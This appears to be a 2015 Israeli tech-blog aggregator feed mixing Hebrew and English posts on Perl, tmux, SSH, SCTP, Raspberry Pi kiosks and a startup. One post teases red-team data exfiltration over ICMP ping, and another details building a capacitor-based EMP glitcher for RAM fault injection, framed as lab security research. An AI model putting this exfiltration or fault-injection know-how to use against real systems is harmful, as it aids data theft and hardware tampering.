    אני מצרף פה את ההרצאה כפי שפורסמה ביוטיוב, אבל אני מזהיר מראש שלא צפיתי בכולה ואולי יש בעיות בסאונד והתמונות קצת קטנות בצילום. לכן אני כולל מתחת גם את השקופיות עצמן, שתוכלו להגדיל למסך מלא. אם הסאונד בלתי שמיש בעיניכם, אני יכול לנסות לייצר MP3 מהקלטה שביצע עוד חבר שלי שישב בקהל ואותה אולי אוכל לנקות יותר. ספרו לי אם לדעתכם זה דרוש.

    ההרצאה כולה נכתבה להצגה בדפדפן.. הנה לינק, והנה עמבד:


    https://ira.abramov.org/3DPadventures/ אנא גלשו למצג המקורית אם משום מה זה לא מציג לכם פה.

    07 December, 2015 03:42 PM

    03 December, 2015

    Shlomi Fish

    Tech Tip: Speed up building perl 5 by not installing the man pages

    2015-12-03: Tech Tip: Speed up building perl 5 by not installing the man pages

    When building perl 5 from source, one can speed up the "make" and "make install" stages significantly by not installing the man pages. To do so, pass the options “-Dman1dir=none -Dman3dir=none” to “sh Configure”.

    Cheers, and happy upcoming Chanukkah, and happy Christmas and/or Yulth or whatever winter holiday you celebrate.

    Call for action

    Creative Commons has set up a campaign to stop TPP - the Trans-Pacific Partnership. Please consider signing it and spreading the word.

    Licence

    Copyright by Shlomi Fish, 2015.

    You can reuse this entry under the Creative Commons Attribution 3.0 Unported licence, or at your option any later version of it. See the instructions on how to comply with it.

    03 December, 2015 04:37 PM

    02 December, 2015

    Itzik Kotler

    I See Your True ECHO_REQUEST Patterns (Pinging Data Away)

    I've started blogging again! In order to avoid cross-posting between the different blogs, I'll just give a brief paragraph and a link back to the original post. Here we go:

    Getting into a network and getting data out of a network are two different challenges. Just because an employee clicked on a malicious link and got hacked, it doesn’t mean the attacker gets to walk off with PII, Financials, Source Code etc. In this blog post, we’ll explore the known breach method of using ICMP protocol for data exfiltration but with a twist. Instead of showing how to use this breach method with some custom made tools, we’re going to do it using the default and common ping utility– red team style!

    Continue reading: http://blog.safebreach.com/2015/12/02/i-see-your-true-echo_request-patterns-pinging-data-away/

    Full text

    02 December, 2015 07:55 PM

    01 December, 2015

    Meir Kriheli

    מצב התרגום לעברית של Django 1.9

    התחלתי לתרגם מאוחר לאחר הקפאת המחרוזות של Django 1.9, התרגום עמד על 95%.

    מקווה שלא פספסתי את מיזוג המחרוזות של 1.9. נכון ליום שבת, ה־25 בנובמבר התרגום עומד על 100% עבור:

    נשארו בחוץ, שוב, עקב חוסר זמן והיקף המשימה:

    01 December, 2015 07:58 AM

    24 November, 2015

    Yoav Farhi

    וורדפרס.קום, הדור הבא

    אתמול היה יום מיוחד באוטומטיק: השקנו מערכת חדשה לגמרי ב-וורדפרס.קום.

    הנה ההכרזה למשתמשים שמתארת את יתרונות המערכת ואת אופן השימוש בה, והנה פוסט של מאט מלנווג על הדרך שהובילה אותנו להקמת מערכת שונה כל כך ומה אנו מצפים להשיג ממנה. המערכת אגב אמנם הושקה רשמית אתמול, אבל חלקים ממנה שוחררו למשתמשים באופן הדרגתי בשנה האחרונה, במקביל לתחזוקת המערכות הקיימות.

    ברמה הטכנית, מדובר על אפליקציית עמוד אחד (Single Page Application), שעושה שימוש בין השאר ב-React, Flux ו Node, ועובדת מול Rest API פתוח. אולי זה נראה כמו תהליך אופייני של כתיבה מחדש של מערכת, אבל בעיניי מדובר בהרבה יותר מזה. מבחינת המתכנתים באוטומטיק המעבר לעבודה על המערכת החדשה דרש אימוץ של כלים וטכנולוגיות חדשות במהירות שיא, ולמידה תוך כדי תנועה. אנדי פיטלינג, מרכז הפרוייקט, כותב על התהליך מאחורי הקלעים ומסביר על הבחירות שלנו, ועל השינויים שעברנו כחברה כדי ליישם אותן.

    ולמקרה שתהיתם המערכת שוחררה כולה בקוד פתוח, בגיטהאב.

    כן, אנחנו מגייסים עובדים – בואו לעבוד איתנו.


    24 November, 2015 08:51 AM

    16 November, 2015

    Liran Tal

    VeriGreen – lightweight, server side solution for verification of git commits

    Verigreen – https://github.com – is a lightweight, server side solution for verification of git commits. Now open-sourced  by HPE’s VeriGreen team.

     

    The post VeriGreen – lightweight, server side solution for verification of git commits appeared first on Liran Tal's Enginx.

    16 November, 2015 11:13 AM

    08 November, 2015

    Rabin Yasharzadeh

    Run Command Before Starting SSH Connection

    This a quick hack I found while I was looking to run a knock script before connecting to servers which I have the SSH service protected with a knock sequence. In my setup I used the ProxyCommand option in the ssh_config file to loop over my loop-back interface.

    Host server1
        User root
        Hostname server1.com
        ProxyCommand bash -c 'knock-script %h; sleep 1; ssh 127.0.0.1 -W %h:%p'
    
    # in the above
    # %h is a place holder for the hostname i.e server1.com
    # and i added 1 sec delay before running the ssh tunnel
    # to give the script on the server side time to validate my knock.

     

    08 November, 2015 04:58 PM

    06 November, 2015

    Shlomi Fish

    Tech Tip: Make Panes Equally Heighted in Tmux

    When pressing «Ctrl+B;"» in tmux to split a pane vertically there, one will notice that tmux splits the existing pane into two which can result in smaller and smaller panes. In order to fix this, one can type «Ctrl+B;M-2» (where “M” is the Meta key and is normally “Alt” on most keyboards.) which will make all the panes equally heighted.

    I found this feature after wondering whether it existed, and then searching for it in the tmux man page.

    Licence

    Copyright by Shlomi Fish, 2015.

    You can reuse this entry under the Creative Commons Attribution 3.0 Unported licence, or at your option any later version of it. See the instructions on how to comply with it.

    06 November, 2015 10:19 AM

    05 November, 2015

    David Kaplan

    Lunchbox Glitching for Fun & No Profit

    As part of my work on the IBM X-Force Application Security Team, a few months ago I wanted to see if I could reproduce a Rowhammer-exploit-type memory corruption via an externally-generated electromagnetic pulse (EMP). The idea here was to target primary memory (usually [S]DRAM) to perform a bit-flip via an electromagnetic pulse-induced glitch.

    I have (thus far) failed miserably to build an actual exploit; more on why in a subsequent blog post.

    In this post, I'd like to detail my IBM-sponsored single-pulse glitcher (EMP generator) build (yes, it involves Tupperware) and touch on some basics of the theory of operation of its various components.

    DISCLAIMER 1: IF YOU DON'T KNOW EXACTLY WHAT YOU'RE DOING, DO NOT TRY REPRODUCE THIS BUILD OR PLAY AROUND WITH HIGH-VOLTAGE CAPACITORS. IT'S POTENTIALLY DANGEROUS (READ: DEADLY)!

    DISCLAIMER 2: EVEN IF YOU KNOW EXACTLY WHAT YOU'RE DOING, DO NOT BUILD THIS! LEAVING IT AROUND COULD BE DANGEROUS TO SOMEONE WHO TOUCHES IT (LIKE YOUR KIDS)!

    Disclaimer 3: My build's EMP range is in the order of millimeters to centimeters and the interference it causes is relatively weak. It's not a weapon and was built at my employer for security-research purposes only and used only within a private lab. Do not use this build for nefarious reasons!

    OK, warnings aside, let's begin.

    I'll start by detailing the most basic build which simply consists of a single capacitor, a switch and a coil of wire like so:

    If the capacitor was charged, closing the circuit (by flipping the switch) would induce an extremely high current over the coil load (as there is very little resistance in the circuit). This is because capacitors store energy. The amount of energy stored by a capacitor is denoted by Farads, or the symbol F.
    As the electrons flow from the negative pole to the positive pole of the capacitor, a magnetic field is formed as per Maxwell's correction to Ampère's Law. In our circuit above, these electrons flow through the coil - a solenoid - concentrating the magnetic field inside the coil. The strength of this field is proportional to the current flowing through the solenoid which, in turn, is proportional to the energy dissipated by the capacitor discharge.

    It is this magnetic field that causes electronics to go crazy. This is due to the fact that the field can excite electrons (and hence current flow) within the target device (the exact reverse of what's happening on the EMP side). If one manages to excite the target enough, Bad Things May Happen.

    It follows therefore that the more energy stored within the capacitor, the stronger the magnetic field will be.

    The decision that we have to make at this point is which capacitor to chose. We need a capacitor capable of quickly discharging its stored energy and one with large enough capacity to induce a sufficiently-strong magnetic field within the solenoid. We don't wish for the field to be too strong as our range of operation for this project (glitching memory) is in the order of millimeters and the target devices operate at around 3.3 volt so the glitch amplitude shouldn't need to be that high to induce some undefined behaviour.

    The easiest capacitor to go for, imho, is a 330V 80uF flash capacitor. You'll see this advised by a number of glitcher-building guides on the net. The reason is that it's easily available and comes with a charging circuit to match! Just find a disposable camera with a flash and gut it (actually getting more difficult to find these days; I think I found the last 3 in the country).

    A word of caution when opening these cameras. Make sure the capacitor is discharged before touching any part of the circuitry inside. You can do this by firstly winding up the camera and charging the flash. Then activate the shutter to discharge the capacitor. Additionally it's a good idea to make sure it has fully discharged by shorting both ends of the capacitor with a rubber-handled screwdriver (it might make a spark - the energy dissipates as light and heat - but it's likely safe to do with a capacitance of this value).

    In our first circuit above, we assumed that the capacitor was already charged. In our working circuit we will need to charge the capacitor.

    In order to charge capacitors, one must apply a potential difference (voltage) over it's poles which is greater than its rated voltage for a set amount of time. The time that a capacitor takes to charge is specified by the RC time constant, tau T, of the circuit such that the capacitor will be charged to 63% after 1T. At 4T the capacitor will be charged to 98%. The charging time between 0T and 4T is called the transient period. After 4T the capacitor enters the steady-state period. At 5T the capacitor is considered to be fully charged.

    In our circuit, we have selected a value of R = 10k. Our capacitance is C = 80uF.

    T = RC
      = 10k x 80u
      = 800 milliseconds
    
    5T = 4 seconds
    

    So in order to charge our capacitor to capacity, we need to apply 330V over its poles for 4 seconds.

    The challenge now is to provide a 330V source with which to charge the capacitor. One can use a DC-DC step-up transformer, however luckily the disposable camera which we pillaged above has a nice little charging circuit which we can re-purpose for our needs.

    The circuit in most disposable cameras has a feedback mechanism whereby closing the switch causes the charging process to commence and it automatically stops charging when the target voltage is reached (this is so that one doesn't need to hold down the flash button on the camera for the whole duration of the transient period). We'll consider it a black-box for our purposes and using this charger, we can update our circuit diagram as follows:

    The push button switch in the diagram above commences the charging procedure. After the capacitor has reached capacity, closing the switch between the capacitor and the solenoid will create the EMP.

    Even though we now have a full EMP circuit, I added a number of features to my design.

    Firstly, I doubled the capacitance of the circuit in order to create a stronger pulse. I pillaged another 80uF capacitor from a disposable camera and added it in parallel to the first capacitor. This gives a total capacitance of 160uF.

    I then added a high impedance voltage-divider circuit which allows me to digitally measure the voltage of the circuit. This is connected in parallel over the capacitor. The reason for the high impedance is that I don't want the capacitor to discharge ('bleed') its energy though this path otherwise there won't be any energy to discharge through the coil!

    The total impedance of the voltage divider is just over 2.2M. To understand the affect that this has on the circuit, we need to take a look at how the capacitor discharges.

    As with the charging circuit above, the capacitor will discharge 63% of its energy in 1T and be fully discharged at 5T. The impedance of the voltage divider is approximated 2.2M, therefore:

    T = RC
      = 2.2M * 160uF
      = 58.6 minutes
    

    As one can see, the bleeding through the voltage divider is quite slow and doesn't have a major affect on the energy of the EMP if the EMP is triggered shortly after the capacitor is charged.

    Interestingly this also provides a built-in safety feature. Forgetting to discharge the circuit could prove hazardous as capacitors will hold their charge for a long time. The voltage divider will cause the circuit to bleed the capacitors over time as even though the impedance is high, there is some current flowing through this path. The capacitors I'm using will generally be considered safe at around 42V. They will be discharged to this value at roughly 2.2T, so after about 2 hours and 10 minutes.

    The aforementioned voltage divider is connected to a microcontroller (MCU). The one I'm using is the MicroPython board which is a pretty awesome bit of kit (highly recommended). I use this board connected over USB to a PC to control the glitcher (mostly). The voltmeter gives me an indication of the current level of charge of the capacitor. The MCU is also connected to two relays. The first relay is used to complete the charger circuit (in place of the disposable camera push button). The second relay connects a 3.3k resistor over the poles of the capacitor. I can use this to very quickly discharge (bleed) the circuit and even use it to select a particular voltage for the pulse (I can bleed the circuit for a very short time causing a controlled drop in capacitor charge; to half the voltage for example). This is a 35W rated part as it needs to be able to handle the amount of energy dissipated through it (high current). The interface is shown in the video of the capacitor charging below:

    The final part of the build is the solenoid itself. I have experimented with a number of different coils; diameter, number of windings etc. The ideal coil depends on the application and isn't an exact science at all. For my needs I wanted a small, focused EMP with which I could target a RAM IC without glitching the surrounding electronics. My first attempt at a large coil tended to reset my computer! I then made a few smaller coils out of insulated copper wire wound around ferrite iron cores. Here are some pictures of my various coils:

    So does the glitcher work? Well yes! I verified this experimentally. As mentioned, the large coil can reset my computer. I used the smaller coils to target RAM IC chips in a PC. I was able to cause some havoc with RAM contents but I'll leave that for another blog post.

    As for how the glitch actually looks on the target; according to Wikipedia, what we should see is a damped sinewave pulse. This is due to coupling on the ground plane between the glitcher and the target. I won't go into this in detail but it's all on Wikipedia if you're interested. Throwing an EM pulse out at a scope probe shows exactly this affect so all seems to be working well:

    That's all for now folks! Leaving you with a picture of the glitcher in all it's tupperwear-enclosed glory!

    05 November, 2015 06:12 PM

    02 November, 2015

    David Kaplan

    CUPC/8 Goodbye ROM, Hello ROM

    So it has been a while since my last CUPC/8 (formerly known as CUPCake) update.

    Over the past few months I have spent a significant amount of time working fleshing out the instruction set, implementing support in the assembler and simulator and coding the Kernel (the status of which will be discussed in another blog post).

    I have also spent some time back with the hardware itself; integrating and testing the physical RAM and MMU FPGA modules, bus interfaces etc.

    Additionally, I finally got around to starting the documentation (see here). Some of it is already slightly out of date but hopefully I'll revise it soon.

    As development has progressed, I have continually challenged my original design decisions and this has resulted in a few design revisions.

    The main change is that the memory board is no longer responsible for loading the ROM into primary memory on boot. It just didn't make sense for me to use a powerful (relative to CUPC/8) XMEGA MCU within the context of the project as a whole.
    As such, I have removed the XMEGA from the design. The ROM chip is now connected directly the the SoC over I2C. The SoC also now includes a small ROM buffer on-chip (termed ROM0) which will hold code that will be responsible for bootstrapping the ROM code. ROM0 is memory-mapped into the 64k memory region by the MMU. The hard reset vector points to the start of the ROM0 and will therefore execute it on boot.
    The ROM0 code will be minimal; consiting of a stripped-down I2C driver responsible for the loading of the off-chip ROM chip (ROM1) into primary memory and jumping to the ROM1 start vector.
    This is somewhat similar to how modern CPUs bootstrap today.

    My next milestone is to get the hardware SPI and I2C modules working properly and interfacing ROM1 with the FPGA development board.

    02 November, 2015 01:44 PM

    20 October, 2015

    Guy Sheffer

    FullPageOS – Out-Of-The-Box Kiosk mode for the RaspberryPi

    FullPageOS

    FullPageOS

    Hey all,

    Today I am announcing a RaspberryPi operating system that addresses a small need we have – Get the RaspberryPi to display a webpage on full screen with no hassle.
    The OS is called FullPageOS. And you can download it here.

    Why I built it

    A friend of mine, Tailor Vijay wanted something to stream video and add titles to it. Also I was looking for a way to start the RaspberryPi with a browser on full screen for a stats screen at work, and apparently the only thing available is complex guides that only partly work on today’s RaspberryPi.

    So what I did last weekend is build a distro based off the code of OctoPi, the 3D printer operating system I built. All this distro does is start Chromium at boot on full screen, with a URL of your choice. The url can be changed conveniently from a text file on the /boot FAT folder. So all you have to do is set the wifi and url via text files, boot, and voilà!
    Among the minor tweaking is the elusive setting of disabling the screen from blanking.

    How to set it up

    What’s nice about FullPageOS is that its simple, no need to install packages, just flash it like any distro, set your wifi and URL settings and boot.

    1. Open the FAT filesystem that is mounted as /boot
      on the pi
    2. Set the URL you want in the file fullpageos.txt
    3. If you need to set up wifi, set your wifi settings with the file fullpageos-network.txt or any way you want are used to on the RaspberryPI
    4. Plug to HDMI display, internet and boot

    Known issue with black boarders

    On some screens I tried FullPageOS I got a black boarder, to fix this, you need to edit config.txt and uncomment the line:

    disable_overscan=1

    This fixes the issue.

    Contribution is appreciated!

    FullPageOS works, but its missing the shiny slickness that OctoPi has today. For example if someone wants help me write a nice default boot page that would be great! The current default url is just the github page. So as usual, pull requests are welcome.
    The source works just like an OctoPi build, and as a by product I wanted to show how easy it is to create custom distros for the RaspberryPi using this build method. We could, really, build a universal custom distro system based off these things. There is already a variant system that was ported from OctoPi code.

    FullPageOS image can be downloaded here

    Thanks

    Share and enjoy,
    Guy


    Full text

    20 October, 2015 04:04 PM

    25 September, 2015

    ik

    הכירו את SCTP

    זהירות, פוסט ארוך

    לאחרונה התחלתי ללמוד קצת על מערכת אותות מספר 7 (SS7) במסגרת פרוייקט מאוד גדול שאני מתעסק בו כבר מספר חודשים לחברה מאוד גדולה וידועה.

    עד עכשיו היה שימוש רק ב E1, אז החיבור הוא קווי באמצעות קו רגיל של ISDN, אבל יש לזה מגבלה של 30 ערוצי תקשורת פר חיבור (אם אין דחיסה).
    אנחנו כמובן מעוניינים לספק כמה שיותר תעבורה, אז התחלנו לברר על משהו הנקרא SIGTRAN אשר הוא בעצם SS7 על גבי IP, אך הוא אינו משתמש ב TCP או UDP בשביל זה, אלא על גבי פרוטוקול (יחסית חדש) בשם  SCTP.

    אני כבר מספר שנים יודע כי הפרוטוקול קיים, ומעולם לא הבנתי מדוע עולם ה VoIP לא לקח אותו לשימוש. ולאחר שלמדתי על HTTP/2 לא הבנתי גם מדוע הוא לא נבחר לשם.
    הפוסט הבא מנסה להסביר בקצרה יחסית מהו הפרוטוקול, בתקווה שיעזור לכם להיחשף לעוד מידע שלרוב איננו נחשפים אליו.

    מהו SCTP?

    הקדמה

    ישנם שני פרוטוקולים מעל רמת IP אשר מאוד מוכרים בעולם – TCP ו UDP.

    על רגל אחת, כאשר מדברים על TCP, מדברים על פרוטוקול אשר יודע לטפל בנתונים העוברים תחת רשת ה IP, כשהוא מודע האם תוכן הגיע ליעדו או לא, מה הסדר שלו, והאם צריך לשדר אותו מחדש, כולל ניסיון לנהל עומס בבקשות החוזרות.

    כאשר מדברים על UDP, אנו מדברים על מערכות הדורשות גישה של real-time. אין בפרוטוקול עצמו איזשהו מנהל אשר יודע מה קורה עם המידע, כלומר הוא לא יודע לזהות ולדווח האם הבקשה הגיעה ליעדה בהצלחה או לא, או האם הסדר הוא בכלל תקין, ובעצם הניהול הוא בפרוטוקול עצמו (שכבה 5 ולפעמים גם 7) המשתמש ב UDP ולא מתוך שיטת התעבורה הנקראת UDP.

    אז מה הוא SCTP או Stream Control Transmission Protocol בשמו המלא?

    הסבר הרעיון (TL;DR)

    תארו לכם מצב בו אתם רוצים לדבר בהודעות, או מידע במקום בפקטות. אבל זה לא הכל, אתם רוצים לשלב כמה שיותר מידע שאפשר לשלוח ולספק עליו חיווי.

    לפעמים נרצה לדעת אם זה נכשל, לפעמים לא. לפעמים נרצה להסביר את סדר החתיכות, ולפעמים אנחנו רוצים להפקיד שההודעה כמו שהיא אינה מחולקת בכלל.

    כלומר אם אשווה את זה לבקשת HTTP, אני יכול להגיד כי תוכן מסוים של ווב, יהיה חייב להישלח כמו שהוא, בעוד שחלקים קטנים של מידע, למשל css ו JS, כולל דף ה HTML ישלחו בחלקים באותה בקשה.

    כלומר יש לנו כאן סוג של פרוטוקול multiplexing .

    במידה ואני רוצה שגודל הדף, גודל הפרמטרים, ורשימת הקבצים להוריד יגיעו בפעם אחת, אז הפרוטוקול מאפשר. כאשר התוכן של הקבצים יכולים להגיע בבקשה נפרדת, או מחולקת גם בבקשה הזו, בהתאם לגודל.

    מוכר לכם ממשהו? למשל מגישה בשם HTTP/2?
    אבל כאן זה פרוטוקול ברמה נמוכה יותר, ולא מימוש בשכבה 7.

    אבל העניין הוא שזה ממש לא הכל. יש לפרוטוקול תמיכה בmultihoming – כלומר האפשרות להתחבר למספר שרתים במקביל, וכך להבטיח שרידות בקבלה ושליחה של המידע.
    הפרוטוקול אפילו מאפשר תמיכה במציאות הנתיב עם האיכות הכי טובה שהגדרנו, כמו ש MPLS, DiffServ וכיוב' מספקים.
    עוד פיטצ'ר נחמד, הוא תמיכה ב jumbo frames, אשר מאפשרים לשלוח עם MTU גדול יותר מ1500 בתים.

    אז כיצד זה בעצם עובד?

    הפקטה עצמה די פשוטה יחסית במבנה שלה:

    sctp header

    מציינים את הפורט אשר ניגשים ממנו, והפורט שניגשים אליו בצד השני.
    אז מציינים מזהה בגודל של 32 ביט, שיהיה ייחודי לבקשה.
    לאחר מכן, יש לציין גם את הchecksum של כל הבקשה. פעם החישוב היה של adler32 אך בגלל חולשה של החישוב, הוא עבר ל crc32c.

    עד כאן החלק של הפקטה עצמה, שמתארת את הבקשה.
    עכשיו צריך בעצם להחזיק את המידע שיש צורך לשלוח איכשהו.
    המידע הוא מידע חלקי ונקרא chunks. כלומר "חתיכה".

    ה header שלו בנוי כך:

    sctp chunk field

    8 ביטים הראשונים נקראים Chunk Type, השדה מחזיק מידע על סוג ה"חתיכה". הערכים יכולים להיות מ0 ועד 254, כאשר הספרה 255 שמורה לשימוש עתידי.

    שני הביטים הראשונים של Chunk Type מוגדרים בצורה כזו, אשר מאפשרים להתמודד עם תקשורת:

    שמונה הביטים הבאים, נקראים Chunk Flags, ותלויים בסוג ה Chunk שהיה מקודם. אלא אם צוין במיוחד, הוא לרוב יהיה בערך 0, ויזכה להתעלמות משני הצדדים.

    שש עשרה הביטים הבאים הנקראים Chunk Length מחזיקים את אורך הבקשה במספר שלם ויכול להיות עד הטווח של 65,535.  הגודל מכיל גם את גודל ביחד עם Chunk Type ו Chunk Flags. במידת הצורך, השדה יהיה עם padding של אפסים בהתחלה, שלא יעלו על יותר מ3 בתים בפועל.

    החלק האחרון הוא המידע בפועל של ה"חתיכה", בצורה שהיא משתנה בהתאם לסוג המידע בתוכה.

    sctp chunk value

    השדה הראשון הוא בגודל 16 ביט, וקיבל את השם Parameter Type. הוא יכול להיות מספר בין 0 ל65,534, כאשר המספר 65,535 הוא מספר שמור עבור הגדרת הרחבות של IETF.

    השדה השני הוא בגודל 16 ביט, וקיבל את השם Chunk Parameter. הוא מחזיק את אורך ה value בבתיים כולל את עצמו ואת Parameter Type.
    פרמטרים עם גודל אפס יהיה לו גודל של 4, ללא תוספת רווחים בהתחלה.

    השדה השלישי הוא בגודל משתנה, והוא קיבל את השם Parameter Value. השדה מכיל את המידע בפועל שישלח עבור הפרמטר.

    הגודל המקסימלי של כל המידע הזה, כולל השדות הראשונים חייב להיות מכפלה של 4 בתים. במידה והוא אינו כזה, יש padding לאחר סיום ה שדה השלישי של אפסים אשר אינם כלולים באורך הפרמטר. אך לשולח אסור לספק padding של יותר מ3 בתים. המקבל חייב להתעלם מהpadding.

    סוג הפרמטר בנויים בצורה בה 2 הביטים הראשונים מציינים את סוג הפעולה שיש לקחת כאשר המקבל לא יודע לזהות את הפרמטר:

    המידע עצמו

    עד עכשיו, דיברתי על החלק בו יש תיאור של מה נשלח. אבל יש את המידע עצמו שיש צורך לשלוח:

     

    sctp payload

     

    השדה שהוא Reserved הוא בגודל 5 ביטים ותמיד חייב להיות 0, ותמיד חייבים להתעלם ממנו בקבלת המידע.

    האותיות U, B ו E הן בעלות גודל של ביט בודד, ויכולות להיות בעלות הערך של 0 או 1:

    במידה והמידע אינו מחולק (fragmented), אז הערכים של B ו E צריכים להיות עם הערך 1. כאשר אם שניהם מחזיקים ב0, הכוונה היא שזה האמצע של ההודעה.
    במידה וגם B וגם E מכילים את הערך 1, מדובר במידע שאינו מחולק.

    sctp payload fragments

    במידה, ומדובר במידע מחולק, אז השדה של TSN, צריך להיות בשימוש על ידי המקבל עבור הרכבה מחודשת של ההודעה. כלומר, שדה ה TSN חייב להיות מספר עוקב בשביל להצליח להרכיב חזרה את ההודעה.

    השדה Length הוא בגודל 16 ביט, והוא בטווח של עד 65,535. השדה מציין את אורך או גודל המידע בבתים, כולל ההתחלה של השדה type ועד למעשה ה Data עצמו כולל, לא כולל איזשהו padding.
    שדה ה Data עם בית בודד של מידע מהמשתמש, יכיל את המספר 17, בשביל לציין 17 בתים.
    כאשר מידע מהמשתמש יהיה בגודל המצויין באות L, יכיל את האורך של 16+L, אשר מציין 16+L בתים. חשוב לציין כי L חייב להיות גדול מ0.

    השדה TSN הוא בגודל 32 ביטים ויכול להיות מ0 ועד המספר 4,294,967,295. כאשר לאחר הגעה למספר הזה, הוא יחזור להיות 0.
    תפקיד השדה הוא להחזיק את הערך של Transmission sequence number – מזהה עבור אותה חתיכה שנשלחה. וכאמור יהיה בשימוש כאשר יש להרכיב מחדש הודעה המחולקת למספר פקטות.

    השדה של Stream Identifier S, הוא בגודל של 16 ביט, והוא בטווח של 0 ועד 65,535. תפקידו הוא לזהות לאן ה stream שייך.

    השדה של Stream Sequence Number הוא בגודל של 16 ביט, והוא בטווח של 0 ועד 65,535. תפקידו הוא לדעת מה הסדר של ה stream אשר נשלח, לפי השייכות שלו המוגדרת ב Stream Identifier S.
    כאשר ההודעה מתחלקת (fragmented) על מספר בקשות, אותו מספר עוקב חייב להיות עם כל החלקים של ההודעה.

    השדה של Payload Protocol Identifier הוא שדה בגודל של 32 ביט. המקום הזה מייצג בערך מידע של התוכנה או שכבה כבוהה, כמספר הפרוטוקול. המידע הזה מועבר על ידי SCTP לשכבה הגבוהה יותר, ונשלח ל peer. המזהה אינו נמצא בשימוש של SCTP עצמו, אך יכול להיות בשימוש על ידי מערכות תקשורת שונות, וכן על ידי התוכנה עצמה הזקוקה למידע הזה בשביל לזהות את סוג המידע הנשלח בחלק המידע למשתמש.
    השדה חייב להישלח כחלק ממידע מחולק (fragmented), בשביל שיהיה נגיש למפרשים שונים).
    חשוב להדגיש כי SCTP אינו נוגע על ידי מימוש ה SCTP, ולכן המידע שבו אינו חייב להופיע כ Big Endian.
    שכבת התוכנה היא זו שאחראית על המרת המידע.
    במידה והשדה מחזיק בערך 0, זה אומר כי אין הגדרה למזהה שכבת תוכנה על במידע המשתמש עצמו.

    השדה של User Data, הוא בגודל משתנה. השדה הזה הוא המידע עצמו שנשלח על ידי המשתמש. המימוש חייב לשים padding של 4 בתים בערך של 0 בסוף. תוספת 4 הבתים, אסורה להיכלל בחישוב אורך המידע.

    זה הבסיס של הפרוטוקול עצמו. ב RFC4960 תוכלו למצוא את כל הפרוטקול, ובנוסף מידע שלא הכנסתי לכאן, למשל חוקים נוספים לכל שדה, איך עושים multihoming ועוד.

    עוד מקומות מעניינים לחקור: הם בוויקיפדיה, בערך המסביר על SCTP, ובערך המלמד על המבנה של הפרוטוקול.


    תויק תחת:Operating Systems, אינטרנט, טכנולוגיה, קוד פתוח, רשתות, תוכנה, תקשורת

    25 September, 2015 10:03 AM

    20 September, 2015

    Guy Sheffer

    How I Founded a Startup

    ShapeDo logo

    ShapeDo logo

    Hey all,

    It’s my 29th birthday this week, and that sorta made me realise no one really knows what I have been doing the past 18 months, so I thought it’s time to tell you how I founded a company. Unlike the tutorials and guides I wrote here, I am not sure this would work for everyone, but it did work for me.

    The Idea

    I have started one of my biggest and ambitious projects yet, after collaborating with people around the world bringing OctoPi to the world, I realised that something was missing from the scene of 3D design – a decent version control and collaboration tools.

    This was the initial idea, as you will see things played out differently, but what was important with this idea was contagious, I got the feeling everyone I told about it wanted to join me, it was wonderful.

    Assembling the team

    My talent is mostly in the core backed stuff, so I found myself going to one of the more talented web developers I know for help, my co-worker at Zend, Amit. It started by asking him javascript questions. When he realized what I was doing, he started helping me out, and he was fast, suddenly in days my core stuff was accessible to the world with a simple and elegant interface. At that time we thought this is going to be a nice open source project, not something commercial, but as the server load grew on Amit’s little server we understood we needed some way to pay its bills, so I started to look for someone that would help me figure out how to sustain this financially. Since our idea was “github for 3D printing”, it seemed like there should be a way to support it, perhaps charge for closed-source projects.

    I’ve been going around the Makerspaces in Tel-Aviv, mostly XLN and T.A.M.I, in some random workshop I came across someone who said “You should write an executive summary, I don’t mind helping you out”. I didn’t even know what an executive summary was at the time, and today it makes me realise how much I learned about fundraising during this year. I later found his name was Ari and he was between companies. We set to meet at Google Campus and write it since we both went to some ecology hackathon that was going on there.

    We ended up drunk from exhaustion and pizza, scooting on chairs at the space and we also had a draft. As we wrote it, the idea spread to Ari, and he realized he that he wanted to join. I introduced him to Amit. It took a while to put our trust in Ari, less time than we expected, and today I know ShapeDo would not have reached anything without Ari’s help. Eventually we wrote a few basic agreements on paper and Ari made sure we register a company, ShapeDo was born.

    The Pivot

    We worked on a new site for 3D printing and launched, we got coverage on 3D printing industry, and the user base grew, but people were not really using the collaboration features. It turns out most people 3D printing share are simple one person designs in one afternoon projects. However, what is special about the 3D printing industry is that there is no 3D CAD tool that was built for it. So you end up meeting designers from mechanical engineering, gamers, architects, programmers and any discipline that has a 3D design program that can export the printable files. We (everything eventually becomes “we”) found that everyone wanted this kind of tool in their workplace, while in 3D printing was not as urgently needed.

    Ari and I had a talk where he thought we should pivot either to construction planning, or mechanical engineering. In the end construction seemed more favourable because AutoDesk, who rule that realm, had neglected collaboration (also known as, product lifecycle management or PLM) for the past decade, and so there was a lot of low-hanging fruit. At first I didn’t want to pivot, after all 3D printing was my idea, but eventually, I let it go. A lot of what a startup is about is letting go of your ownership, a company has to grow beyond you. We slowly found ourselves with a technology for an industry we know nothing about, so we learned, we banged on doors and met with architects, contractors, constructors, anyone that is in the process of construction, we can’t cover everything, but we were getting an idea of what is going on.

    Investors and our Investment

    The pivot did more than point us to users we could talk to and find out what they actually need, it also made the business proposition make more sense. The goal was not to just build a big collection of files for people to share, it was to build a system we could charge for. We started getting investors interested, we first started talking to angel investors, but it seemed to be much harder than anticipated. Angels seem to be mostly interested in apps. Something your 6 year old could download, something they can understand, there are a small number of them that would understand what it means to sell something to a construction enterprise. So it made the process much harder, we found that the first meeting was just for grasping what we actually do, before talking about the investment itself.

    Ari and I went around looking for an investment, I had an 80% time job so I had an extra day to do this. I had a few chats about it with Gina, who also had that extra day for OctoPrint. I think that 80% is good when you want something steady while looking for funds, stability in your life in one part lets you explore radical stuff in another.

    Eventually we set a meeting with Incentive, we got a warm recommendation for them for the accelerator Ari was going to at the time called Siftech (an accelerator is a place you got to for a few months that helps your startup out with a physical location and various services, usually paid). Indeed when we met with them they seemed much better than the angel investors we were talking to. The catch was that we had to base our offices in Ariel University (though today it seems not so bad, there is never traffic to work). The program they offer was enough to keep us and an extra worker for a 1.5-2 years. Working on something as volatile as ShapeDo means you don’t want to have to think about personal finance, it means you don’t have time to consider the company’s. So we went through a due diligence, it took a while, but it was a good process for us and the company. Today our offices are located in the investors offices.

    Today, Happy 29th Birthday

    Today we found a go to market, something we can sell, and we are just in the process of hiring someone from the industry to help us out. Our system is flooded with real customer data. Things are going great. But as I saw every step of the way, everything can explode the next day, nothing is certain, and I think that kind of attitude is what got us this far.

    I hope this helps the people around me to know what is going on, I feel like I had to let this be known. It might even help others that are on a similar path. I’ve been playing with 3D printers for fun in the meantime, and I might post a few findings.

    As always, would love to hear your comments.

    Celebrating first day at the office

    Celebrating first day at the office

